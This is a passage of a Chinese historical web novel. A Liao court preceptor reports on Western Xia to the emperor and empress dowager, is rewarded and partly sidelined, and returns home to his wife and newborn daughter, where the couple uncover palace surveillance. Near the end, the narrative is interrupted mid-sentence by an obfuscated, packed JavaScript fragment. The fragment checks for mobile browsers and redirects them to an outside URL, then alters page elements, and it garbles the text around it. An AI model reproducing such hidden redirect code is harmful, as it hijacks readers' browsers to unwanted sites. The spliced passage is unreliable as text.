他开口,声音因为长途奔袭的疲惫、缺水、以及左肩旧伤牵动气脉而带着一丝不易察觉的沙哑,但吐字依旧平稳清晰,每一个字都力求准确传递到御案之后,“李元昊近日调动其麾下大将野利遇乞所部主力回防盐州,表面看是针对我大辽,实则……” 他略作停顿,似在整理最精炼的措辞,“实则,此举更大程度上,是为应对宋军于其南线——环庆、镇戎军方向——持续不断施加的军事压力。据臣所获情报及沿途观察,宋廷今岁加强了西北边防,粮秣兵甲调运频繁,李元昊不得不分兵南顾。” “其边军近日之异动与躁进,臣以为,七分意在对宋廷展示武力,行震慑之实,维持边境均势;另有三分……” 他再次稍作停顿,从高举的羊皮卷中,精准地抽出其中一份看似最薄、却记录着最核心信息的边报,“据我方潜伏于西夏云内州、应理州等地的多名资深密谍,近日以不同渠道传回、并经交叉印证的情报显示——” “其国都兴庆府近来屡有异常人事调动,尤其是宫禁宿卫与几处关键衙门,人员更迭频繁,气氛诡异。宫中似有不为外人道的……波澜。” 他选词极其谨慎,绝口不提“顾小怜”或“没藏氏”这些敏感名字,也不点破任何可能涉及西夏皇帝私德或宫闱秘辛的具体事件。只用“宫禁波澜”、“人事调动”、“内耗”等中性而含蓄的词汇,轻轻带过。既将自己冒死获取的、可能影响西夏国策乃至帝位稳固的关键情报呈报上去,又严格恪守了身为臣子、不妄议他国君主宫闱私密的本分与分寸。这是在刀尖上行走多年练就的本能。 “此等内部不稳之象,或多或少牵制了李元昊部分心神与精力,致使其前线将领,尤其是一些急于表现或心怀他念者,行事比往日更显……躁进与急切,亟需以一些‘成绩’来证明自身或转移视线。此为臣之浅见,伏请陛下圣裁。” “叮——” 一声极其清脆悦耳的碰撞声响起,是萧太后腕间那只水头极足的翡翠镯子,与紫檀木的御案边缘轻轻一碰。声音不大,却仿佛某种信号。 早已侍立在侧的内侍总管无需任何眼色,已经悄然搬来一张铺着锦垫的紫檀木圆凳,轻轻放在耶律皓南身侧稍后的位置。既不算正式赐坐御前,又明显是一种体恤与恩典。 萧太后的目光,似有若无地在耶律皓南官袍肩部那处因为染尘破损而颜色略深的地方停留了一瞬。她缓缓开口,声音不高,却自有一种沉稳如山、洞悉一切的力量:“国师此番出使西夏,跋涉数千里,历经险阻,甚是辛苦。” “陛下,” 她转向耶律宗真,语气平常得如同话家常,却每一个字都带着不容错辨的、深入骨髓的掌控力,“哀家记得,皓南离京时,杨夫人身孕……已有两月。如今,” 她的食指在光滑的案面上虚虚一划,仿佛在计算时日,“算来产期已过。府中添丁之喜,哀家前几日派去问安的女官回来说,母女平安,小郡主甚是康健,哭声洪亮。” 这番话,轻描淡写,却如同一把无形的匕首,精准地剖开了某些不能言说的东西。 这信息,自然不是耶律皓南奏报的。他尚在归途,根本无从知晓家中具体情形。那么,只能来自宫中耳目对国师府日常动静严密而不间断的监视与及时的回禀。萧太后在此时、此地,以这种方式“不经意”地点出,既清晰无误地向耶律皓南、也向在场所有人展示了天家对重臣府邸、乃至其最私密家事的了如指掌,彰显了无所不在的掌控力;同时,又巧妙地免去了君王直接开口询问、打探臣子家事的尴尬,将一种赤裸裸的监视,包裹在“关切”与“体恤”的糖衣之下。 耶律宗真面色稍霁,接过内侍转呈上来的铜筒与羊皮卷,快速扫阅。片刻,他抬起头,目光重新落在耶律皓南身上。 “国师于西夏周旋不易,更能自李元昊布下的天罗地网中全身而退,一路艰辛,忠心可鉴,朕……甚慰之。” 他先予以肯定,这是帝王驭下的基本之道,赏罚分明。 然而,紧接着,话锋便是一转。 “然,” 耶律宗真的声音依旧平稳,“北汉旧部今岁的安置、粮饷发放等一应事宜,南院枢密使近日连上数道奏章,称其中颇多窒碍,推行不顺。朕虑及国师久劳于外,伤痕在身,亟需静养……” 他略作停顿,目光深邃,“此事,便暂由枢密使协同南院相关衙门,详加处置。国师可先行专心将养身体,亦可……视情从旁参详,以供咨询。” 话说得冠冕堂皇,充满体恤。但耶律皓南心中如同明镜高悬。 “协同处置”与“从旁参详”,这八个字,便是实实在在的分权。北汉旧部的安置与抚慰,一直是他这个“北汉皇室后裔”出身的国师,在辽国朝堂上最重要、也最核心的权力基础与政治资本之一。将此事“暂”交由一直与他不甚对付的南院枢密使为主处理,他只能“从旁参详”,这无异于将他暂时排挤出了这一核心事务的决策圈。所谓“将养”,不过是暂离权力中心的体面说辞。 这是帝王的平衡之术,对他这次“擅自”在西夏搞出大动静(即使是为了辽国利益)的一种隐晦的敲打与制衡。也是对南院那些不断攻讦他的势力的一种安抚。 然而此刻的耶律皓南,心头涌起的,却不仅是对朝堂权力起伏的清醒认知与淡然。一股更为汹涌的、几乎灼烧理智的——疲惫与渴望,正疯狂地冲撞着他的冷静。 五个多月的亡命奔逃,数不清的暗杀与围堵,身上大小伤痕累累,精神时刻紧绷如将断之弦……所有的艰辛、危险、算计,在此刻,仿佛都化作了一种深入骨髓的倦怠。 而更强烈的,是那种几乎要破胸而出的渴望——归家的渴望! 他尚未见过那个在他离家前,师叔凌霄子便以宗门秘法隐约探知、并郑重告知他的、即将到来的女儿!他未能陪伴在妻子杨排风身边,度过女人最需要依靠、最为艰难的怀胎与产育之期!他甚至不知道,她是如何独自撑过那些担忧他生死的日日夜夜,又是在怎样的情形下,生下了他们的孩子! 此刻,“归家”这两个字,如同最炽烈的岩浆,在他心底沸腾、燃烧,几乎要压过一切朝堂博弈的机心、权力得失的计较。 他深深俯首,额头几乎触及冰冷的地砖,声音因为极力压抑某种情绪而显得更加低沉:“臣……谢陛下体恤。旧部安置事宜,关乎边境安定、人心归附,至关重要。臣自当遵从陛下旨意,尽力襄助枢密使与南院同僚,以纾陛下之忧。” 回答得滴水不漏,恭顺识趣。 “朕知你心系府中。” 耶律宗真观其眉宇间那无法完全掩饰的深深倦色,以及眼底那一闪而逝的、几乎灼人的迫切,了然地一笑。帝王年轻,却不乏洞察人心的眼光。 他自御案下的暗格中,取出一卷明黄色的绢轴。“杨氏有功于国,为国师诞育子嗣,延续血脉。朕赐汝女……‘安宁郡主’封号,享宗室女俸禄。” “另赐东海明珠一斛,辽东百年老山参两对,以为郡主洗三之贺,亦为杨氏产后补益之资。” 赏赐丰厚,足以示恩宠。然而,“安宁郡主”只是一个荣誉性的封号,享受俸禄,却未及任何实封的食邑、庄园。这分寸拿捏得精准——既显示了皇恩浩荡,又不至于让一个刚出生的女婴、尤其是耶律皓南的女儿,拥有过于扎眼的实力与地位,引来不必要的猜忌。 萧太后亦自腕上缓缓褪下一串色泽沉郁、香气宁和的迦南香木念珠。她将念珠轻轻放在内侍捧来的托盘中,缓声道:“此物随哀家多年,有宁神静心之效。赐予杨氏,愿她产后安康。” “国师,” 她的目光转向耶律皓南,眼神温煦,却深邃得仿佛能洞穿一切,“陛下既有隆恩,哀家便添个彩头。予你……十日休沐。” “好生回府,陪伴妻女。” “幽州、朔州等处的巡边之事,” 她的语气不变,却自有一种不容置疑的力量,“十日之后,启程不迟。” 予假,是体恤,是人情。 限期十日,是规矩,是不容逾越的底线。 恩威并施,软硬兼施。予你甜枣,也让你清楚地看到背后的大棒。这是帝王家最为娴熟、也最为有效的驭下之道。 十日。不多不少。既全了人情,让他能够得见初生的女儿与产后虚弱的妻子,略尽为人夫、为人父的责任与情谊;也绝不会让他有丝毫耽搁公务、影响正事的可能。更是一种无形的提醒与掌控——你的时间,你的行程,乃至你的家庭团聚,都在天家的掌握与安排之中。 “咚——咚——咚——” 沉重的更鼓声,穿过重重宫墙与殿宇,隐约传入殿帐中。子时了。 耶律皓南再次深深叩首,谢恩。当他的手指不经意间触及袖中某物时,身体几不可察地微微一颤。 那是一枚色泽沉黯、看不出具体年代的桃木符。木质已被摩挲得光滑无比,边角圆润,上面的刻痕都有些模糊了。 离家前夜,杨排风没有多说什么,只是默默地将这枚不知从何处求来、据说能“保平安、佑归程”的桃木符,悄悄放入了他随身行囊的最底层。当时灯下,她低着头,眼睫在脸上投下一小片阴影,手指抚过那粗糙的木符,动作轻得像是怕惊扰了什么。 如今,五个多月过去,符仍在。 而家中,已添新口。他却仍是那个“未见”的父亲。 一种难以言喻的酸涩与愧疚,混合着那炽烈的归心,再次狠狠撞击着他的心脏。 “国师?” 萧太后温和却带着一丝探询的声音,将他飘远的思绪拉回。 御案上,不知何时已换了一幅更为详尽的燕云十六州边防舆图。耶律宗真以食指关节,重重敲了敲舆图上“幽州”与“朔州”两处。 “十日之后,巡防以此二州为要。” 年轻帝王的声音恢复了一贯的清晰与果决,“李元昊此番在你手中受挫,必不甘心。宋人亦非安分之辈,近日沿边亦有异动。此行,重在巡视震慑,安靖地方,同时……” 他目光如电,“密查边军防务,尤其是与西夏、宋境接壤处,是否有疏漏、勾连之处。朕要确保,边关稳如磐石。” 任务明确,地域关键,责任重大。 耶律皓南肃然,再次行礼,声音沉稳有力:“臣,领旨。” 十日。 这是他以一身伤痕、数月奔亡、与死神屡次擦肩为代价,才搏来的、短暂如同偷来的喘息。 亦是下一场更大的风波、更艰险的使命开始前,最后的宁静。 他必须见到她们。必须。 沉重的宫门在身后缓缓合拢,发出“轧——”的闷响,将帐殿内的灯火、熏香、以及那无处不在的帝王威压与朝堂机锋,一并关在了身后。 夜风扑面而来,带着深秋子夜刺骨的寒意。耶律皓南踏着地面上已经凝结的一层薄薄白霜,步履略显沉重地走向停在宫门外等候的马车。怀中那卷明黄绢轴的诏书,轻飘飘的,却仿佛有千钧之重,压在他的心口。 他驻足,忍不住抬起头,望向国师府所在的方向。夜色深沉,看不见具体的轮廓,但他知道,在那个方向,有一片温暖的灯火,有一个等待他归来的身影,有一个与他血脉相连、甫经足月降临到这个世界的、小小的生命。 那是他穿越生死劫难、历尽千辛万苦后,唯一渴求的、能让他疲惫至极的灵魂得以栖息的——温暖归处。 坐入马车,放下厚重的车帘,将寒夜与可能存在的窥探目光一并隔绝在外,他才允许自己,泄出一丝在御前强撑了整晚的、深入骨髓的疲态。 背脊松弛下来,靠在冰冷的车壁上,左肩伤处的刺痛变得更加鲜明。他低低地咳了几声,胸腔震动间,带起一阵闷痛。长时间的奔波与旧伤,到底是损了元气。 指尖下意识地探入另一侧袖袋,触及一枚用蜜蜡严密封固的、黄豆大小的丸药。 这是在归途中,经过宋境边缘一处荒僻小镇时,一名伪装成货郎的天波府暗桩,冒着极大风险,趁着人流短暂交错的瞬间,悄然塞入他掌心的。 捏碎蜡丸,里面是一小条卷得极紧的素绢,上面以特殊药水写就的字迹,只有八个: “元旻被囚,元昊疑深。” 西夏的棋局,远未到终盘。那位曾与他在暗室中达成血腥交易的二皇子李元旻,看来处境不妙。而李元昊的疑心与疯狂,显然并未因为和亲或暂时的挫败而消减。 所有的危险、算计、未来的风暴,在此刻,都被他强行按下。他将那枚已空的蜡丸碎屑碾成齑粉,洒出车窗。 马车在空旷无人的御街上疾驰,车轮碾过青石路面,发出单调而有节奏的“辘辘”声,向着国师府的方向。 阔别近六个月,几番生死,他带回一身洗不尽的戈壁风霜、朝堂倾轧落下的尘埃、以及一道新的、关乎边关安危的重要使命。 还有这偷来的、珍贵无比的十日。 去拥抱那个与他血脉相连、甫经足月降临的小小生命。 去见那个让他魂牵梦萦、撑过他所有至暗时刻的身影。 马车渐行渐快,仿佛也感知到了主人那颗早已飞越千山万水、急切归巢的心。 辽国国师府的内室,与外间风雪呼号的寒夜截然是两个世界。 烛火是温软的,几盏雕花银灯树静静燃着,光晕暖黄,将室内每一处棱角都柔化了。空气中弥漫着淡淡的药香,混着一丝极清浅的乳香与熏笼里银霜炭的暖意,微醺般令人心神松弛。 杨排风斜倚在临窗的暖榻上,身下垫着厚厚的软缎锦褥,背后靠着蓬松的羽绒引枕。她面色还带着产后未尽的苍白,唇色也淡,唯独那双眼睛——依旧清亮得惊人,像是淬过火的黑曜石,在温柔的灯下灼灼生光。她怀中一个杏黄色的小小襁褓裹得严实,里面的女婴睡得正酣,只露出半张粉团似的小脸,胎发稀疏柔软,在烛光下泛着淡淡的绒色,如同初春最娇嫩的柳絮。 “呼——” 门廊处忽有寒风卷入,打破了一室宁静。 耶律皓南的身影出现在门口。他身上那件玄色貂绒斗篷的边缘,还凝结着一层未及融化的霜雪,在室内暖意的侵袭下,泛出湿冷的暗光。一股浓重的、混杂着戈壁沙尘的凛冽寒气,以及一丝淡淡的、却无法完全掩去的血腥味,随着他的踏入扑面而来。那是长途奔袭、刀口舔血后浸入骨髓的味道。 然而,这股寒冽与血腥,在触及榻边那只小小红泥药炉氤氲出的、带着苦涩药香的暖雾时,竟仿佛被一只无形的手轻轻拂开,骤然消散,融化了。 他的目光,几乎是在踏入内室的刹那,便越过摇曳的烛芯,牢牢地、贪婪地锁在了暖榻上那一大一小两个身影上。那目光沉得像是灌了铅,又烫得像是要燃起来。 他的步履,较之平日的沉稳从容,明显急促了三分。沾着泥雪的官靴踏在光洁的地板上,留下一串清晰的、略显凌乱的湿痕。 可是在离那暖榻仅仅三步之遥的地方,他的脚步,却像是被无形的铁索猛然绊住,骤然定住了。 这一步,不是三尺的距离。 这一步,隔着他缺席的、漫长的五个多月光阴。隔着每一个她独自忍受妊娠反应的清晨,每一个她抚着腹部忧心他生死的深夜。 这一步,隔着产房内曾经响彻夜半、撕心裂肺的痛吟,隔着稳婆匆忙进出端出的一盆盆血水,隔着他未曾在场、无法分担的生死之关。 这一步,更隔着兴庆府那阴森的深宫之中,李元昊盯着顾小怜替身时发出的癫狂大笑,隔着他袖中因为极度愤恨与后怕而掐得掌心血肉模糊的指甲痕——他当时只在想,若是他的排风,若是他的妻子落入那般境地……他不敢想。 他的手,那只曾执剑斩断天门阵千斤铁索、曾在千军万马前拂袖间搅动宋夏战局风云的手,此刻缓缓抬了起来。 指尖悬停在女婴柔嫩脸颊上方,仅仅一寸之距。 竟然,在微微地颤抖。 不是因为疲惫,不是因为伤痛。是一种近乎恐惧的、来自灵魂深处的震颤。仿佛面前不是一个真实的婴孩,而是一场他跋涉了千山万水、历经九死一生才得以窥见的、易碎的梦。他怕自己手上沾染的血腥、风霜、乃至他那所谓“孤煞”的命格,会玷污了这份纯粹的柔软。 指尖就那么虚虚地悬着,只敢沿着空气中看不见的轨迹,小心翼翼地描摹着婴孩小小的鼻翼、微微嘟起的唇瓣、那道淡淡的、在睡梦中偶尔会轻轻蹙起的眉心红痕。 “排风……” 他喉结剧烈地滚动了一下,开口时,声线沉哑得厉害,像是粗糙的砂砾在生铁上艰难地碾过。“我……回来晚了。” 五个字,耗尽了他踏入这间屋子以来所有的勇气。不是对帝王的奏对,不是对敌人的算计,只是一句最简单,也最沉重的告白,里面浸满了无法言说的愧疚与疼痛。 杨排风将他所有的挣扎,所有的近乡情怯,所有的痛楚与柔软,尽数收入眼底。 她故意蹙起了眉,从鼻子里轻哼一声,声音还带着产后的一点虚弱,气势却不减分毫:“哟,国师大人还认得回家的路?我还当您在西夏被哪位公主绊住了脚,乐不思蜀了呢!” 目光扫过他沾满风霜泥泞、甚至隐约可见暗红血渍的衣袍下摆,以及他脸上难掩的倦色与苍白,她的心尖像是被针扎了一下,嘴上却更凶了:“瞧瞧你这一身!箭伤都没好利索吧?怕是一路颠簸又溃脓了?这般狼狈相,倒有脸嫌弃女儿睡相不端庄?她睡得可比你这当爹的安生多了!” 话音未落,她似是气不过,想要撑起身子坐直些,好好“教训”他。可产后虚弱的身体经不起这般动作,刚一用力,腹部未愈的伤口便传来一阵尖锐的撕扯痛,让她忍不住闷哼一声,额角瞬间沁出一层细密的冷汗。 “别动!” 耶律皓南几乎是在她蹙眉的同时就疾步上前,那点“近乡情怯”在她的痛哼面前碎得干干净净。他伸手,稳稳地托住她的后腰,助她重新靠回引枕。 掌心触及的,是单薄中衣下,那明显凸起的、甚至有些硌手的脊骨。那曾经与他并骑闯过辽夏边境箭雨、在马背上依旧挺得笔直的腰背,如今竟清减孱弱至此! 心头如遭重锤猛击,闷痛得让他几乎喘不过气。所有的言语在这一刻都显得苍白,他抿紧了唇,目光扫过榻边小几上一直用热水煨着的白瓷盅。 他取过瓷盅,打开盖子,里面是温热的、散发着浓郁药香的参汤。他舀起一勺,小心地吹了吹,递到她唇边。动作有些僵硬,仿佛手中执的不是汤勺,而是那柄重逾千钧的泰阿剑。可那勺沿,却稳得不见半分晃荡,汤汁纹丝不动。 “喝药。” 短短两个字,硬邦邦地吐出来,却漏出了其下掩藏不住的、几乎要灼伤人的焦灼与心疼。** 杨排风顺从地就着他的手,小口小口啜尽了勺中的参汤。苦涩的药味在口中化开,她却眉头都没皱一下。 忽然,她侧过头,不是躲开,而是一口轻轻咬住了那银勺的勺沿。 耶律皓南一怔。 她抬起眼,眼尾微微上挑,映着烛光,流转出一丝昔日那个天不怕地不怕的烧火丫头才有的狡黠光芒,只是如今这光芒里,更多了几分为人母后的温柔与深邃。 “耶律皓南,” 她松开银勺,声音低了下去,带着一种仿佛在分享什么了不起秘密的神情,“你女儿落地那日,哭得那叫一个惊天动地,师叔抱过来看,盯着她眉心瞅了半天,你猜他老人家说什么?” 她伸出一根手指,极其轻柔地点了点女婴眉心那道淡淡的、睡着时也隐约可见的浅红色竖痕。“他说啊——‘这丫头,眉心这道痕,活脱脱是你爹蹙着眉训人时的模样,一个模子刻出来的!’” 她的声音更轻了,眼神却飘得有些远,像是回到了那个痛苦与希望交织的夜晚:“我疼得神魂颠倒、眼前发黑的时候,脑子里就在想……要是你在这儿,看到这道痕,肯定又要绷着那张冰块脸,冷哼一声骂我‘胡闹’,说什么‘孩子像我有什么好’……” “哐当!” 一声脆响。 是耶律皓南手中的白瓷汤碗,再也握不住,跌落在厚软的绒毯上。幸好地毯厚实,碗没碎,只是里面剩余的参汤泼洒出来,在浅色的绒毛上洇开一小片深色的痕迹。 他猛地俯下身。动作快得带起一阵风。 额角,冰凉的、还沾着屋外风雪气息的皮肤,重重抵上了杨排风汗湿的、带着产后特有温热与奶香气的鬓发。他身上斗篷裹挟的寒气,与这内室暖融融的、混合着药香乳香的气息,奇异地交融在一起,化作一种令人心尖发颤的战栗。 “排风……”他的呼吸灼烫,像是带着火星,狠狠烙在她的耳际,声音压得极低,嘶哑得不成样子,“我在西夏……夜探李元昊寝殿那次……” 他的身体不易察觉地绷紧了,仿佛回到了那个充满疯狂与诡异的夜晚。“我看见……他把一个酷似顾小怜的替身,囚在一个纯金打造的鸟笼里,当作雀鸟一样赏玩……” 他的手臂下意识地收紧,将她和女儿一同更深地拥入怀中,仿佛要确认她们真实的存在。“那个时候……我只庆幸,疯狂地庆幸……庆幸我耶律皓南,从不需要任何人,做你杨排风的影子。” “你就是你。唯一的你。” 窗外,风雪似乎骤然急了起来,扑打在窗棂上,发出簌簌的声响。然而这急促的风雪声,反倒更衬得室内一片温暖寂然,只有烛火偶尔爆开灯花的轻响,以及……三人交织的,轻重不一的呼吸声。 就在这片寂然中,杨排风怀中的女婴,忽然在睡梦中咂了咂嘴,发出一声细微的、奶气的哼唧。然后,一只小小的、藕节似的手臂,不知何时从襁褓里挣了出来,在空中无意识地挥舞了一下,竟然准确地一把攥住了耶律皓南垂落在胸前的一缕发辫。 那发辫因为一路奔波,早已散乱,此刻被小小的手指牢牢抓住,还不满足地往下扯了扯。 耶律皓南浑身猛地一僵。 不是因为疼,那点力道对他而言微不足道。而是一种……从未体验过的、陌生的、柔软而强大的牵扯力,从那小小的手指传来,一路烫进了他冰封多年的心底。 他竟然就那么僵着,一动不敢动,生怕自己一动,就会惊醒了这个抓着他头发的小小生命。喉咙里发出一声极其低沉的、压抑的气音,像是哽咽,又像是低笑,复杂得难以辨认。 “这丫头……”他的声音哑得厉害,带着一种奇异的柔和,“手劲倒是不小……有点像你当年抡烧火棍的架势。” 杨排风看着他那副僵硬又小心翼翼的模样,眼中的狡黠褪去,化作一片深邃的、翻涌着无数情绪的柔光。她忽然伸出手,不是去掰开女儿的小手,而是一把攥住了耶律皓南胸前那染着暗红血渍、冰冷潮湿的前襟。 力道大得惊人,指关节都泛出了白色。 “耶律皓南,”她盯着他的眼睛,一字一顿,每个字都像是从心底最深处掏出来,带着血肉的力量,“你给我听好了——” “我杨排风当年选的路,跟的人,从来就是刀山火海、龙潭虎穴,我也甘之如饴!” “你不欠我什么陪伴,不欠我什么安稳!”她的声音提高了一些,眼底有水光闪动,却倔强地不肯落下,“你欠我的,是给我好好活着!活到八十岁,九十岁!活到头发全白,牙齿掉光!亲眼看着这丫头长大,看着她揪着你的胡子骂你‘老顽固’!这才是你欠我的!你听明白了没有!” 最后几个字,几乎是吼出来的,带着产后的虚弱,却有着劈开一切阴霾的力量。 “嗤——” 烛芯恰在此时爆开一朵明亮的灯花,火光跳跃着,将耶律皓南的眼睛映得一片猩红。那里面翻滚着太多太多的东西——痛楚、愧疚、后怕、还有被她这番话狠狠烫到的、汹涌澎湃的情潮。 他忽然松开一只手,扯向自己的颈间。那里挂着一根看不见的细绳,绳子末端系着一枚触手冰凉、沉甸甸的玄铁令牌。令牌造型古朴狰狞,上面刻着北汉皇室特有的、如今已鲜为人知的徽记——这是能调遣分散在各地的北汉最后一支隐秘旧部的信物,也是他身上除了这条命以外,最重要的东西。 他用力一扯,将绳索扯断,然后,在杨排风震惊的目光中,将这枚冰冷的、代表着无数血腥过往与沉重责任的玄铁令牌,轻轻地、却坚决地塞进了女儿柔软的襁褓之中。 “此物……”他的声音低沉得几乎听不见,“予她……当抓周礼。” “若他日……”他顿了顿,眼底掠过一丝深沉的、属于耶律皓南的冷冽与决绝,“若他日我终遭反噬,不得善终……凭此物,足够你们母女……掀翻半座辽国朝堂,换一个安身立命之所。” “痴话!” 杨排风的眼泪终于夺眶而出,却不是因为悲伤。她猛地抓起那枚刚被塞进襁褓的玄铁令牌,用尽全身力气般,狠狠掷向墙角! “铛啷!”令牌撞在墙壁上,发出沉闷的响声,滚落在地毯上。 然而,下一瞬,她掷出令牌的手并未收回,而是就着那个力道,反手一揽——将耶律皓南,连同他怀中仍旧攥着他头发的女儿,一起狠狠地、紧紧地揽入了自己怀中! 她的怀抱因为产后虚弱而不甚有力,却带着一种能绞碎一切铁石的决绝与温暖。 “哇——!” 也许是被这突如其来的拥抱挤到了,也许是感知到了父母之间那剧烈涌动的情绪,女婴忽然放声啼哭起来。响亮的、充满生命力的哭声,瞬间充斥了整个内室。 烛光将三人紧紧相拥的身影投射在轻柔的纱帐上,叠成一个看似笨拙、却异常坚实牢固的剪影。父亲高大却微微佝偻的背影,母亲清瘦却挺直的脊梁,中间是那个小小的、挥舞着手臂啼哭的婴孩。 不知过了多久,窗外的风雪声似乎渐渐歇了。天光在不知不觉中微微透出一丝熹微。 杨排风的情绪慢慢平复下来,她的手从耶律皓南的背后移开,轻轻抚上他的肩胛处——那里,即使隔着衣物,也能摸到一道新愈不久、仍旧凸起的疤痕。那是箭伤。 她的手指很轻,带着产后特有的温凉。 “李元昊……”她的声音恢复了平静,却带着一种了然的沉稳,“既已疑你到如此地步,甚至派出‘铁鹞子’追杀……近期,莫再亲自踏入西夏一步。”这是嘱咐,更是警告。 耶律皓南的脸颊贴着她的鬓发,唇边掠过一丝冰冷而讥诮的弧度,那是属于辽国国师的神情。“他?” “他如今……”他的声音压得极低,只有她能听见,“忙着雕琢他那个更听话的‘傀儡’,暂时……还无力布下能网住我的天罗地网。倒是萧太后……” 话音未落,怀中的女婴不知是哭累了,还是被父母之间低低的对话声吸引,忽然停止了啼哭,抽噎了两下,然后那只一直攥着耶律皓南发辫的小手松开了,转而胡乱地挥舞了一下,竟准确地一把抓住了耶律皓南垂在她脸颊旁的一根手指。 然后,在耶律皓南和杨排风都没有反应过来的瞬间,那小小的、软得像棉花团的手,抓着他的手指,就那么直接塞进了自己的嘴里。 乳牙未生的柔嫩龈床,用力地、毫不客气地啃噬了上去。 湿润的、温热的、带着一种奇异力道的触感,从指尖传来,带着微微的痒,和一种难以形容的、直抵心灵深处的酥麻。 耶律皓南整个人彻底僵住了。那种纵横捭阖、算无遗策的辽国国师的气场,在这一刻荡然无存。他瞪大了眼睛,看着自己那根曾执笔定策、也曾染血杀人的手指,被一个小小的婴孩当作了磨牙的玩意儿,一种前所未有的、陌生而汹涌的情感,瞬间淹没了他。 窗外,风雪不知何时已悄然停歇。国师府高高的飞檐下,一根凝结了一夜的冰凌,承受不住自身的重量,“咔嚓”一声轻响,坠落在地,摔得粉碎。 而屋内,耶律皓南怀抱着这世间最滚烫、最柔软、也最无法挣脱的“枷锁”,在女儿无齿的啃咬和妻子逐渐平稳悠长的轻鼾声中,恍然惊觉—— 他那被批为“孤煞”、克亲克己的半生命格,竟在这一刻,被这最平凡不过的婴孩啼哭与妻子熟睡的鼾声,淬炼成了人间最珍贵的……凡俗。 琉璃灯树的光晕温润如水,十二盏莲花灯盏内烛火轻摇,将紫檀木案几上那一应物事映照得流光溢彩,恍若铺开一席小型的宫廷盛典。 最显眼处,是一卷以赤金箔片镶嵌封面的册宝。“安宁郡主”四个契丹大字以朱砂填嵌,在烛光下泛着沉甸甸的、权力赐予的猩红光泽。旁侧的紫绒托盘里,一挂东海明珠璎珞静卧其上,每一颗珠子都有龙眼大小,光泽温润如月华凝聚,显是贡品中的极品。再旁边,雕着百年松鹤纹的锦匣半开,露出里面须发皆全、品相堪称罕见的辽东老参。而一匹匹堆叠如云的霞影绡、月华缎,更是在光下泛着流水般的幽光,每一寸都是宫廷织造局的顶尖手艺。 恩赏之隆,已逾常制。 耶律皓南一手托着怀中熟睡的女儿,另一手的指尖,缓缓抚过那赤金册页冰凉的表面。他的动作看似随意,目光却如同最精密的刻度,逐字逐句地扫过上面的契丹文。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185045|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >食邑千户,世袭罔替,汤沐邑赐幽州三处草场…… 他的目光,在“食邑千户”四字旁的钤印处,微不可察地顿住了。 那里,赫然是一枚南院枢密使的暗纹官印——纹路隐秘,却逃不过他的眼睛。而按制,宗室女眷册封,尤其是郡主这等有食邑的实封,最终用印确认、录入宗正寺玉牒的,应是宗正寺的朱红大印。 如今,宗正寺的印记被替换了。取而代之的,是执掌全国军政、直接听命于帝后的南院枢密使的暗印。 这不是疏忽。这是一个信号——安宁郡主的一切,从册封之日起,便已跳出宗室管辖的常规轨道,被置于更高层级、更直接的控制之下。 他的指腹继续下移,落在“汤沐邑”后面所列的三处草场名称上。眸色又深了几分。 这三处草场,地理位置、水草丰美程度,皆属上乘。看似恩宠至极。可他一眼便看出,这三处草场的范围,恰恰与他昔年安置部分北汉旧部、令其化兵为民屯田生息的区域……完全重叠。** “排风。”他开口,声线平稳得听不出任何波澜,臂弯却将怀中的女儿悄然托高了三分,让婴孩柔嫩温热的脸颊,不偏不倚地贴在自己颈侧那道新愈不久、仍显狰狞的箭疤上。那是一种下意识的保护姿态。“太后慈恩浩荡,将幽州这等膏腴之地的草场划作女儿的汤沐邑……”他的目光落在那赤金册上,唇角勾起一抹淡得几乎看不见的弧度,“规制倒是比亲王例,还要阔绰三分。” 杨排风正站在案几另一侧,手中捻着一匹月影纱,对着烛光细看其纹理。听闻此言,她捻着纱料的指节几不可见地微微一颤。 下一瞬,她脸上却绽开一个明亮的笑容,转身扯过耶律皓南的袖口,将那月影纱在他袖畔比了比:“你瞧这云纹,疏朗大气,给朔儿裁制春日的骑射服正是合适!”声音清脆,语气欢快,宛如真的在为儿子挑选衣料。 然而,她扯着他袖口的手指,食指指尖却在他的腕骨内侧,极快地、用力地划过三下——** 短,短,长。 当年在四面楚歌之时,他们无数次用过的暗号:“有埋伏。” 就在此时,内室门帘微动,一名面生的乳母模样的妇人,低眉顺目地捧着茶盏进来。“国师,夫人,请用茶。” 耶律皓南神色不变,甚至对那乳母微微颔首。他广袖一拂,似是要去接茶盏,袖摆却不偏不倚,恰好带倒了案几上一只未盖严的砚台。 “哎呀!” 并非砚台翻倒,而是那杯刚奉上的热茶,被他“不小心”碰洒,半盏茶汤泼洒出来,正好浇在摊开的赤金册页上,将“世袭罔替”四个鎏金大字晕染得一片模糊! “爷!”杨排风惊呼一声,几乎是在茶汤泼出的同时便侧身挡在了耶律皓南与窗户之间,同时极自然地将怀中似乎被惊动的女婴抱高些,轻轻拍哄。她的站位极其巧妙,恰好用自己的身体封死了从窗外某个特定角度窥视内室案几的视线。 “小心烫着!”她语带嗔怪,顺手从袖中抽出一方素帕递给耶律皓南,眼风却不动声色地扫过窗外檐角——那里,不知何时新悬了一串精致的鎏金风铃。此刻无风,那铃铛却在微微晃动,铃舌与铃壁相碰,发出极其轻微的、不规则的碎响。仔细看去,铃舌下方,似乎缠绕着一缕几不可见的银色丝线,在晨光下折射出诡异的光泽。 是“听风铃”。宫中暗卫用以远距监听的小巧机关。 耶律皓南接过帕子,却并未擦拭手上并不存在的茶渍,而是就着杨排风递帕子的手,俯身,似乎在查看册页污损情况。他的唇几乎贴着杯沿,声音压得极低,只有她能听见:“汤沐邑所指的那三处草场……与我们为朔儿预留的那片骑射场,仅一溪之隔。” 杨排风捻着帕子的指节,骤然绷紧。 一溪之隔。溪对岸……正是萧太后胞弟之子、如今担任幽州牧守副使的萧扈的辖地!那是萧太后娘家子侄中最为锋芒毕露、也最为敌视耶律皓南的一位。 她忽然抽回帕子,笑道:“妾倒觉着,还是这匹青州绡更透气些,给朔儿做里衣合适。”说着,手指状似无意地在泼洒了茶汤、略显湿润的案面上划过—— 